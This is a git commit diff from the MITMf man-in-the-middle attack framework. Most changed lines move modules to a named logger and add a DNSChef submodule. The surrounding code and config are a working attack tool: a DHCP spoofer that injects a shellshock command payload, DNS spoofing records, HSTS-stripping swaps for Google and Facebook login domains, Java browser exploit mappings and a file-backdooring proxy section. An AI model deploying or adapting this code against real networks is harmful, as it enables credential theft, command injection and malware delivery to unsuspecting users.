- Logging is now seperate for each module

- added DNSChef submodule
- Code style improvements
- modified config file name , and options
- Changed requirements and README
This commit is contained in:
byt3bl33d3r 2015-04-11 00:38:48 +02:00
parent eb7e797ded
commit d4c6b7d5b6
28 changed files with 317 additions and 242 deletions

3
.gitmodules vendored
View file

@ -7,3 +7,6 @@
[submodule "core/beefapi"] [submodule "core/beefapi"]
path = core/beefapi path = core/beefapi
url = https://github.com/byt3bl33d3r/beefapi url = https://github.com/byt3bl33d3r/beefapi
[submodule "libs/dnschef"]
path = libs/dnschef
url = https://github.com/byt3bl33d3r/dnschef

View file

@ -11,13 +11,9 @@ This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-prox
Dependency change! Dependency change!
=================== ===================
As of v0.9.5 DNS tampering support needs NetfilterQueue v0.6 which is currently a fork, so it *cannot* be installed via pip or easy_install. As of v0.9.5, DNS tampering support needs NetfilterQueue v0.6 which is currently a fork, so it *cannot* be installed via pip or easy_install.
Download it from here https://github.com/fqrouter/python-netfilterqueue and manually install it. **Please read the [install](#installation) guide for details**
Installation
============
If MITMf is not in your distribuitions repo, or you just want the latest version, clone the repo run the ```setup.sh``` script and install all python dependencies in the ```requirements.txt``` file
Availible plugins Availible plugins
================= =================
@ -64,6 +60,13 @@ Changelog
- Addition of the app-cache poisoning attack by [Krzysztof Kotowicz](https://github.com/koto/sslstrip) (blogpost explaining the attack here http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html) - Addition of the app-cache poisoning attack by [Krzysztof Kotowicz](https://github.com/koto/sslstrip) (blogpost explaining the attack here http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html)
Installation
============
If MITMf is not in your distros repo or you just want the latest version, clone this repository run the ```setup.sh``` script and install all python dependencies in the ```requirements.txt``` file using ```pip```.
Then, download the ```python-netfilterqueue``` library from here
https://github.com/fqrouter/python-netfilterqueue and manually install it.
Submitting Issues Submitting Issues
================= =================
If you have *questions* regarding the framework please email me at byt3bl33d3r@gmail.com If you have *questions* regarding the framework please email me at byt3bl33d3r@gmail.com

View file

@ -1,8 +1,14 @@
#MITMf configuration #
#MITMf configuration file
#
[MITMf] [MITMf]
#here you can set the arguments to pass to MITMf when it starts so all you need to do is run ```python mitmf.py``` (assuming you config file is in the default directory) #
#here you can set the arguments to pass to MITMf when it starts so all you need to do is run `python mitmf.py`
#(assuming you config file is in the default directory)
#
args='' args=''
#Required BeEF and Metasploit options #Required BeEF and Metasploit options
@ -17,9 +23,9 @@
rpcip = 127.0.0.1 rpcip = 127.0.0.1
rpcpass = abc123 rpcpass = abc123
#-----------------------------------------------------------------------------------------------------------------------------------------# #
#Plugin configuration starts here #Plugin configuration starts here
#
[Spoof] [Spoof]
@ -28,10 +34,53 @@
subnet = 255.255.255.0 subnet = 255.255.255.0
dns_server = 192.168.2.20 #optional dns_server = 192.168.2.20 #optional
[[DNS]]
www.facebook.com = 192.168.10.1
google.com = 192.168.20.61
[[DNS]]
#
#Here you can configure DNSChef's options
#
port = 53 #Port to listen on
nameservers = 8.8.8.8 #Supported formats are 8.8.8.8#53 or 4.2.2.1#53#tcp or 2001:4860:4860::8888
tcp = Off #Use the TCP DNS proxy instead of the default UDP
ipv6 = Off #Run in IPv6 mode
[[[A]]] # Queries for IPv4 address records
*.thesprawl.org=192.0.2.1
[[[AAAA]]] # Queries for IPv6 address records
*.thesprawl.org=2001:db8::1
[[[MX]]] # Queries for mail server records
*.thesprawl.org=mail.fake.com
[[[NS]]] # Queries for mail server records
*.thesprawl.org=ns.fake.com
[[[CNAME]]] # Queries for alias records
*.thesprawl.org=www.fake.com
[[[TXT]]] # Queries for text records
*.thesprawl.org=fake message
[[[PTR]]] # PTR queries
*.2.0.192.in-addr.arpa=fake.com
[[[SOA]]] #FORMAT: mname rname t1 t2 t3 t4 t5
*.thesprawl.org=ns.fake.com. hostmaster.fake.com. 1 10800 3600 604800 3600
[[[NAPTR]]] #FORMAT: order preference flags service regexp replacement
*.thesprawl.org=100 10 U E2U+sip !^.*$!sip:customer-service@fake.com! .
[[[SRV]]] #FORMAT: priority weight port target
*.*.thesprawl.org=0 5 5060 sipserver.fake.com
[[[DNSKEY]]] #FORMAT: flags protocol algorithm base64(key)
*.thesprawl.org=256 3 5 AQPSKmynfzW4kyBv015MUG2DeIQ3Cbl+BBZH4b/0PY1kxkmvHjcZc8nokfzj31GajIQKY+5CptLr3buXA10hWqTkF7H6RfoRqXQeogmMHfpftf6zMv1LyBUgia7za6ZEzOJBOztyvhjL742iU/TpPSEDhm2SNKLijfUppn1UaNvv4w==
[[[RRSIG]]] #FORMAT: covered algorithm labels labels orig_ttl sig_exp sig_inc key_tag name base64(sig)
*.thesprawl.org=A 5 3 86400 20030322173103 20030220173103 2642 thesprawl.org. oJB1W6WNGv+ldvQ3WDG0MQkg5IEhjRip8WTrPYGv07h108dUKGMeDPKijVCHX3DDKdfb+v6oB9wfuh3DTJXUAfI/M0zmO/zz8bW0Rznl8O3tGNazPwQKkRN20XPXV6nwwfoXmJQbsLNrLfkGJ5D6fwFm8nN+6pBzeDQfsS3Ap3o=
[Responder] [Responder]
@ -192,8 +241,11 @@
#you can add other scripts in additional sections like jQuery etc. #you can add other scripts in additional sections like jQuery etc.
[JavaPwn] [JavaPwn]
#
# All versions strings without a * are considered vulnerable if clients Java version is <= update version # All versions strings without a * are considered vulnerable if clients Java version is <= update version
# When adding more exploits remember the following format: version string (eg 1.6.0) + update version (eg 28) = 1.6.0.28 # When adding more exploits remember the following format: version string (eg 1.6.0) + update version (eg 28) = 1.6.0.28
#
[[Multi]] #Cross platform exploits, yay java! <3 [[Multi]] #Cross platform exploits, yay java! <3
@ -221,8 +273,10 @@
windows/browser/java_mixer_sequencer = 1.6.0.18 windows/browser/java_mixer_sequencer = 1.6.0.18
[SSLstrip+] [SSLstrip+]
#here you can configure your domains to bypass HSTS on
#the format is real.domain.com = fake.domain.com #
#Here you can configure your domains to bypass HSTS on, the format is real.domain.com = fake.domain.com
#
#for google and gmail #for google and gmail
accounts.google.com = account.google.com accounts.google.com = account.google.com
@ -232,46 +286,43 @@
#for facebook #for facebook
www.facebook.com = social.facebook.com www.facebook.com = social.facebook.com
#-----------------------------------------------------------------------------------------------------------------------------------------#
# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something'
#
# Author Joshua Pitts the.midnite.runr 'at' gmail <d ot > com
#
# Copyright (c) 2013-2014, Joshua Pitts
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice,
# this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors
# may be used to endorse or promote products derived from this software without
# specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
# Tested on Kali-Linux.
#-----------------------------------------------------------------------------------------------------------------------------------------#
[FilePwn] [FilePwn]
# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something'
#
# Author Joshua Pitts the.midnite.runr 'at' gmail <d ot > com
#
# Copyright (c) 2013-2014, Joshua Pitts
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice,
# this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors
# may be used to endorse or promote products derived from this software without
# specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
# Tested on Kali-Linux.
[[ZIP]] [[ZIP]]
# patchCount is the max number of files to patch in a zip file # patchCount is the max number of files to patch in a zip file
# After the max is reached it will bypass the rest of the files # After the max is reached it will bypass the rest of the files

View file

@ -34,7 +34,8 @@ from URLMonitor import URLMonitor
from CookieCleaner import CookieCleaner from CookieCleaner import CookieCleaner
from DnsCache import DnsCache from DnsCache import DnsCache
from core.sergioproxy.ProxyPlugins import ProxyPlugins from core.sergioproxy.ProxyPlugins import ProxyPlugins
from configobj import ConfigObj
mitmf_logger = logging.getLogger('mitmf')
class ClientRequest(Request): class ClientRequest(Request):
@ -58,7 +59,7 @@ class ClientRequest(Request):
headers = self.getAllHeaders().copy() headers = self.getAllHeaders().copy()
#for k,v in headers.iteritems(): #for k,v in headers.iteritems():
# logging.debug("[ClientRequest] Receiving headers: (%s => %s)" % (k, v)) # mitmf_logger.debug("[ClientRequest] Receiving headers: (%s => %s)" % (k, v))
if self.hsts: if self.hsts:
@ -73,13 +74,13 @@ class ClientRequest(Request):
if 'host' in headers: if 'host' in headers:
host = self.urlMonitor.URLgetRealHost(str(headers['host'])) host = self.urlMonitor.URLgetRealHost(str(headers['host']))
logging.debug("[ClientRequest][HSTS] Modifing HOST header: %s -> %s" % (headers['host'], host)) mitmf_logger.debug("[ClientRequest][HSTS] Modifing HOST header: %s -> %s" % (headers['host'], host))
headers['host'] = host headers['host'] = host
self.setHeader('Host', host) self.setHeader('Host', host)
if 'accept-encoding' in headers: if 'accept-encoding' in headers:
del headers['accept-encoding'] del headers['accept-encoding']
logging.debug("Zapped encoding") mitmf_logger.debug("Zapped encoding")
if 'if-modified-since' in headers: if 'if-modified-since' in headers:
del headers['if-modified-since'] del headers['if-modified-since']
@ -110,7 +111,7 @@ class ClientRequest(Request):
return "lock.ico" return "lock.ico"
def handleHostResolvedSuccess(self, address): def handleHostResolvedSuccess(self, address):
logging.debug("[ClientRequest] Resolved host successfully: %s -> %s" % (self.getHeader('host'), address)) mitmf_logger.debug("[ClientRequest] Resolved host successfully: %s -> %s" % (self.getHeader('host'), address))
host = self.getHeader("host") host = self.getHeader("host")
headers = self.cleanHeaders() headers = self.cleanHeaders()
client = self.getClientIP() client = self.getClientIP()
@ -148,22 +149,22 @@ class ClientRequest(Request):
self.dnsCache.cacheResolution(hostparts[0], address) self.dnsCache.cacheResolution(hostparts[0], address)
if (not self.cookieCleaner.isClean(self.method, client, host, headers)): if (not self.cookieCleaner.isClean(self.method, client, host, headers)):
logging.debug("Sending expired cookies...") mitmf_logger.debug("Sending expired cookies...")
self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path)) self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path))
elif (self.urlMonitor.isSecureFavicon(client, path)): elif (self.urlMonitor.isSecureFavicon(client, path)):
logging.debug("Sending spoofed favicon response...") mitmf_logger.debug("Sending spoofed favicon response...")
self.sendSpoofedFaviconResponse() self.sendSpoofedFaviconResponse()
elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)):
if 'securelink' in headers: if 'securelink' in headers:
del headers['securelink'] del headers['securelink']
logging.debug("Sending request via SSL...(%s %s)" % (client,url)) mitmf_logger.debug("Sending request via SSL...(%s %s)" % (client,url))
self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url)) self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url))
else: else:
logging.debug("Sending request via HTTP...") mitmf_logger.debug("Sending request via HTTP...")
#self.proxyViaHTTP(address, self.method, path, postData, headers) #self.proxyViaHTTP(address, self.method, path, postData, headers)
port = 80 port = 80
if len(hostparts) > 1: if len(hostparts) > 1:
@ -182,14 +183,14 @@ class ClientRequest(Request):
address = self.dnsCache.getCachedAddress(host) address = self.dnsCache.getCachedAddress(host)
if address != None: if address != None:
logging.debug("[ClientRequest] Host cached: %s %s" % (host, str(address))) mitmf_logger.debug("[ClientRequest] Host cached: %s %s" % (host, str(address)))
return defer.succeed(address) return defer.succeed(address)
else: else:
logging.debug("[ClientRequest] Host not cached.") mitmf_logger.debug("[ClientRequest] Host not cached.")
return reactor.resolve(host) return reactor.resolve(host)
def process(self): def process(self):
logging.debug("[ClientRequest] Resolving host: %s" % (self.getHeader('host'))) mitmf_logger.debug("[ClientRequest] Resolving host: %s" % (self.getHeader('host')))
host = self.getHeader('host').split(":")[0] host = self.getHeader('host').split(":")[0]
if self.hsts: if self.hsts:

View file

@ -18,6 +18,8 @@
import logging import logging
mitmf_logger = logging.getLogger('mitmf')
class DnsCache: class DnsCache:
''' '''
@ -49,7 +51,7 @@ class DnsCache:
def setCustomRes(self, host, ip_address=None): def setCustomRes(self, host, ip_address=None):
if ip_address is not None: if ip_address is not None:
self.cache[host] = ip_address self.cache[host] = ip_address
logging.debug("DNS entry set: %s -> %s" %(host, ip_address)) mitmf_logger.debug("DNS entry set: %s -> %s" %(host, ip_address))
else: else:
if self.customAddress is not None: if self.customAddress is not None:
self.cache[host] = self.customAddress self.cache[host] = self.customAddress

View file

@ -21,6 +21,8 @@ import logging, re, string
from ServerConnection import ServerConnection from ServerConnection import ServerConnection
from URLMonitor import URLMonitor from URLMonitor import URLMonitor
mitmf_logger = logging.getLogger('mitmf')
class SSLServerConnection(ServerConnection): class SSLServerConnection(ServerConnection):
''' '''
@ -55,11 +57,11 @@ class SSLServerConnection(ServerConnection):
for v in values: for v in values:
if v[:7].lower()==' domain': if v[:7].lower()==' domain':
dominio=v.split("=")[1] dominio=v.split("=")[1]
logging.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v) mitmf_logger.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v)
real = self.urlMonitor.sustitucion real = self.urlMonitor.sustitucion
if dominio in real: if dominio in real:
v=" Domain=%s"%real[dominio] v=" Domain=%s"%real[dominio]
logging.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v) mitmf_logger.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v)
newvalues.append(v) newvalues.append(v)
value = ';'.join(newvalues) value = ';'.join(newvalues)
@ -83,13 +85,13 @@ class SSLServerConnection(ServerConnection):
if ((not link.startswith('http')) and (not link.startswith('/'))): if ((not link.startswith('http')) and (not link.startswith('/'))):
absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link
logging.debug("Found path-relative link in secure transmission: " + link) mitmf_logger.debug("Found path-relative link in secure transmission: " + link)
logging.debug("New Absolute path-relative link: " + absoluteLink) mitmf_logger.debug("New Absolute path-relative link: " + absoluteLink)
elif not link.startswith('http'): elif not link.startswith('http'):
absoluteLink = "http://"+self.headers['host']+link absoluteLink = "http://"+self.headers['host']+link
logging.debug("Found relative link in secure transmission: " + link) mitmf_logger.debug("Found relative link in secure transmission: " + link)
logging.debug("New Absolute link: " + absoluteLink) mitmf_logger.debug("New Absolute link: " + absoluteLink)
if not absoluteLink == "": if not absoluteLink == "":
absoluteLink = absoluteLink.replace('&amp;', '&') absoluteLink = absoluteLink.replace('&amp;', '&')

View file

@ -28,6 +28,8 @@ from twisted.web.http import HTTPClient
from URLMonitor import URLMonitor from URLMonitor import URLMonitor
from core.sergioproxy.ProxyPlugins import ProxyPlugins from core.sergioproxy.ProxyPlugins import ProxyPlugins
mitmf_logger = logging.getLogger('mitmf')
class ServerConnection(HTTPClient): class ServerConnection(HTTPClient):
''' The server connection is where we do the bulk of the stripping. Everything that ''' The server connection is where we do the bulk of the stripping. Everything that
@ -72,14 +74,14 @@ class ServerConnection(HTTPClient):
except: except:
self.clientInfo = "%s " % self.client.getClientIP() self.clientInfo = "%s " % self.client.getClientIP()
logging.info(self.clientInfo + "Sending Request: %s" % self.headers['host']) mitmf_logger.info(self.clientInfo + "Sending Request: %s" % self.headers['host'])
self.plugins.hook() self.plugins.hook()
self.sendCommand(self.command, self.uri) self.sendCommand(self.command, self.uri)
def sendHeaders(self): def sendHeaders(self):
for header, value in self.headers.iteritems(): for header, value in self.headers.iteritems():
logging.debug("Sending header: (%s => %s)" % (header, value)) mitmf_logger.debug("Sending header: (%s => %s)" % (header, value))
self.sendHeader(header, value) self.sendHeader(header, value)
self.endHeaders() self.endHeaders()
@ -94,7 +96,7 @@ class ServerConnection(HTTPClient):
self.transport.write(self.postData) self.transport.write(self.postData)
def connectionMade(self): def connectionMade(self):
logging.debug("HTTP connection made.") mitmf_logger.debug("HTTP connection made.")
self.plugins.hook() self.plugins.hook()
self.sendRequest() self.sendRequest()
self.sendHeaders() self.sendHeaders()
@ -103,11 +105,11 @@ class ServerConnection(HTTPClient):
self.sendPostData() self.sendPostData()
def handleStatus(self, version, code, message): def handleStatus(self, version, code, message):
logging.debug("Got server response: %s %s %s" % (version, code, message)) mitmf_logger.debug("Got server response: %s %s %s" % (version, code, message))
self.client.setResponseCode(int(code), message) self.client.setResponseCode(int(code), message)
def handleHeader(self, key, value): def handleHeader(self, key, value):
logging.debug("[ServerConnection] Receiving header: (%s => %s)" % (key, value)) mitmf_logger.debug("[ServerConnection] Receiving header: (%s => %s)" % (key, value))
if (key.lower() == 'location'): if (key.lower() == 'location'):
value = self.replaceSecureLinks(value) value = self.replaceSecureLinks(value)
@ -117,15 +119,15 @@ class ServerConnection(HTTPClient):
if (key.lower() == 'content-type'): if (key.lower() == 'content-type'):
if (value.find('image') != -1): if (value.find('image') != -1):
self.isImageRequest = True self.isImageRequest = True
logging.debug("Response is image content, not scanning...") mitmf_logger.debug("Response is image content, not scanning...")
if (key.lower() == 'content-encoding'): if (key.lower() == 'content-encoding'):
if (value.find('gzip') != -1): if (value.find('gzip') != -1):
logging.debug("Response is compressed...") mitmf_logger.debug("Response is compressed...")
self.isCompressed = True self.isCompressed = True
elif (key.lower()== 'strict-transport-security'): elif (key.lower()== 'strict-transport-security'):
logging.info("%s Zapped a strict-trasport-security header" % self.client.getClientIP()) mitmf_logger.info("%s Zapped a strict-trasport-security header" % self.client.getClientIP())
elif (key.lower() == 'content-length'): elif (key.lower() == 'content-length'):
self.contentLength = value self.contentLength = value
@ -162,10 +164,10 @@ class ServerConnection(HTTPClient):
def handleResponse(self, data): def handleResponse(self, data):
if (self.isCompressed): if (self.isCompressed):
logging.debug("Decompressing content...") mitmf_logger.debug("Decompressing content...")
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
#logging.debug("Read from server:\n" + data) #mitmf_logger.debug("Read from server:\n" + data)
data = self.replaceSecureLinks(data) data = self.replaceSecureLinks(data)
res = self.plugins.hook() res = self.plugins.hook()
@ -182,7 +184,7 @@ class ServerConnection(HTTPClient):
try: try:
self.shutdown() self.shutdown()
except: except:
logging.info("Client connection dropped before request finished.") mitmf_logger.info("Client connection dropped before request finished.")
def replaceSecureLinks(self, data): def replaceSecureLinks(self, data):
if self.hsts: if self.hsts:
@ -198,9 +200,9 @@ class ServerConnection(HTTPClient):
for match in iterator: for match in iterator:
url = match.group() url = match.group()
logging.debug("[ServerConnection] Found secure reference: " + url) mitmf_logger.debug("[ServerConnection] Found secure reference: " + url)
nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url) nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url)
logging.debug("[ServerConnection][HSTS] Replacing %s => %s"%(url,nuevaurl)) mitmf_logger.debug("[ServerConnection][HSTS] Replacing %s => %s"%(url,nuevaurl))
sustitucion[url] = nuevaurl sustitucion[url] = nuevaurl
#data.replace(url,nuevaurl) #data.replace(url,nuevaurl)
@ -209,11 +211,11 @@ class ServerConnection(HTTPClient):
dregex = re.compile("(%s)" % "|".join(map(re.escape, sustitucion.keys()))) dregex = re.compile("(%s)" % "|".join(map(re.escape, sustitucion.keys())))
data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data) data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data)
#logging.debug("HSTS DEBUG received data:\n"+data) #mitmf_logger.debug("HSTS DEBUG received data:\n"+data)
#data = re.sub(ServerConnection.urlExplicitPort, r'https://\1/', data) #data = re.sub(ServerConnection.urlExplicitPort, r'https://\1/', data)
#data = re.sub(ServerConnection.urlTypewww, 'http://w', data) #data = re.sub(ServerConnection.urlTypewww, 'http://w', data)
#if data.find("http://w.face")!=-1: #if data.find("http://w.face")!=-1:
# logging.debug("HSTS DEBUG Found error in modifications") # mitmf_logger.debug("HSTS DEBUG Found error in modifications")
# raw_input("Press Enter to continue") # raw_input("Press Enter to continue")
#return re.sub(ServerConnection.urlType, 'http://web.', data) #return re.sub(ServerConnection.urlType, 'http://web.', data)
return data return data
@ -225,7 +227,7 @@ class ServerConnection(HTTPClient):
for match in iterator: for match in iterator:
url = match.group() url = match.group()
logging.debug("Found secure reference: " + url) mitmf_logger.debug("Found secure reference: " + url)
url = url.replace('https://', 'http://', 1) url = url.replace('https://', 'http://', 1)
url = url.replace('&amp;', '&') url = url.replace('&amp;', '&')

View file

@ -19,6 +19,8 @@
import logging import logging
from twisted.internet.protocol import ClientFactory from twisted.internet.protocol import ClientFactory
mitmf_logger = logging.getLogger('mimtf')
class ServerConnectionFactory(ClientFactory): class ServerConnectionFactory(ClientFactory):
def __init__(self, command, uri, postData, headers, client): def __init__(self, command, uri, postData, headers, client):
@ -32,12 +34,12 @@ class ServerConnectionFactory(ClientFactory):
return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) return self.protocol(self.command, self.uri, self.postData, self.headers, self.client)
def clientConnectionFailed(self, connector, reason): def clientConnectionFailed(self, connector, reason):
logging.debug("Server connection failed.") mitmf_logger.debug("Server connection failed.")
destination = connector.getDestination() destination = connector.getDestination()
if (destination.port != 443): if (destination.port != 443):
logging.debug("Retrying via SSL") mitmf_logger.debug("Retrying via SSL")
self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443)
else: else:
try: try:

View file

@ -19,6 +19,8 @@
import re, os import re, os
import logging import logging
mitmf_logger = logging.getLogger('mimtf')
class URLMonitor: class URLMonitor:
''' '''
@ -72,7 +74,7 @@ class URLMonitor:
s.add(to_url) s.add(to_url)
return return
url_set = set([from_url, to_url]) url_set = set([from_url, to_url])
logging.debug("[URLMonitor][AppCachePoison] Set redirection: %s" % url_set) mitmf_logger.debug("[URLMonitor][AppCachePoison] Set redirection: %s" % url_set)
self.redirects.append(url_set) self.redirects.append(url_set)
def getRedirectionSet(self, url): def getRedirectionSet(self, url):
@ -111,10 +113,10 @@ class URLMonitor:
else: else:
self.sustitucion[host] = "web"+host self.sustitucion[host] = "web"+host
self.real["web"+host] = host self.real["web"+host] = host
logging.debug("[URLMonitor][HSTS] SSL host (%s) tokenized (%s)" % (host,self.sustitucion[host]) ) mitmf_logger.debug("[URLMonitor][HSTS] SSL host (%s) tokenized (%s)" % (host,self.sustitucion[host]) )
url = 'http://' + host + path url = 'http://' + host + path
#logging.debug("HSTS stripped URL: %s %s"%(client, url)) #mitmf_logger.debug("HSTS stripped URL: %s %s"%(client, url))
self.strippedURLs.add((client, url)) self.strippedURLs.add((client, url))
self.strippedURLPorts[(client, url)] = int(port) self.strippedURLPorts[(client, url)] = int(port)
@ -161,10 +163,10 @@ class URLMonitor:
return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1)) return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1))
def URLgetRealHost(self, host): def URLgetRealHost(self, host):
logging.debug("[URLMonitor][HSTS] Parsing host: %s"% host) mitmf_logger.debug("[URLMonitor][HSTS] Parsing host: %s"% host)
if self.real.has_key(host): if self.real.has_key(host):
logging.debug("[URLMonitor][HSTS] Found host in list: %s"% self.real[host]) mitmf_logger.debug("[URLMonitor][HSTS] Found host in list: %s"% self.real[host])
return self.real[host] return self.real[host]
else: else:
logging.debug("[URLMonitor][HSTS] Host not in list: %s"% host) mitmf_logger.debug("[URLMonitor][HSTS] Host not in list: %s"% host)
return host return host

View file

@ -41,8 +41,8 @@ class SystemConfig:
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % http_redir_port) os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % http_redir_port)
@staticmethod @staticmethod
def DNS(queue_number): def DNS(ip, port):
os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num %s' % queue_number) os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to %s:%s' % (ip, port))
class Banners: class Banners:

View file

@ -32,6 +32,8 @@ from netfilterqueue import NetfilterQueue
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import * from scapy.all import *
mitmf_logger = logging.getLogger('mitmf')
class _DHCP(): class _DHCP():
def __init__(self, interface, dhcpcfg, ip, mac): def __init__(self, interface, dhcpcfg, ip, mac):
@ -79,8 +81,8 @@ class _DHCP():
self.dhcp_dic[xid] = client_ip self.dhcp_dic[xid] = client_ip
if resp[DHCP].options[0][1] is 1: if resp[DHCP].options[0][1] is 1:
logging.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid)) mitmf_logger.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
logging.info("Sending DHCP OFFER") mitmf_logger.info("Sending DHCP OFFER")
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
IP(src=self.ip_address, dst='255.255.255.255') / IP(src=self.ip_address, dst='255.255.255.255') /
UDP(sport=67, dport=68) / UDP(sport=67, dport=68) /
@ -102,7 +104,7 @@ class _DHCP():
sendp(packet, iface=self.interface, verbose=self.debug) sendp(packet, iface=self.interface, verbose=self.debug)
if resp[DHCP].options[0][1] is 3: if resp[DHCP].options[0][1] is 3:
logging.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid)) mitmf_logger.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
IP(src=self.ip_address, dst='255.255.255.255') / IP(src=self.ip_address, dst='255.255.255.255') /
UDP(sport=67, dport=68) / UDP(sport=67, dport=68) /
@ -121,11 +123,11 @@ class _DHCP():
pass pass
if self.shellshock: if self.shellshock:
logging.info("Sending DHCP ACK with shellshock payload") mitmf_logger.info("Sending DHCP ACK with shellshock payload")
packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock))) packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock)))
packet[DHCP].options.append("end") packet[DHCP].options.append("end")
else: else:
logging.info("Sending DHCP ACK") mitmf_logger.info("Sending DHCP ACK")
packet[DHCP].options.append("end") packet[DHCP].options.append("end")
sendp(packet, iface=self.interface, verbose=self.debug) sendp(packet, iface=self.interface, verbose=self.debug)
@ -250,10 +252,11 @@ class _DNS():
hstscfg = None hstscfg = None
dnscfg = None dnscfg = None
_instance = None _instance = None
nfqueue = NetfilterQueue() nfqueue = None
queue_number = 0 queue_number = 0
def __init__(self): def __init__(self):
self.nfqueue = NetfilterQueue()
t = threading.Thread(name='nfqueue', target=self.bind, args=()) t = threading.Thread(name='nfqueue', target=self.bind, args=())
t.setDaemon(True) t.setDaemon(True)
t.start() t.start()
@ -292,7 +295,7 @@ class _DNS():
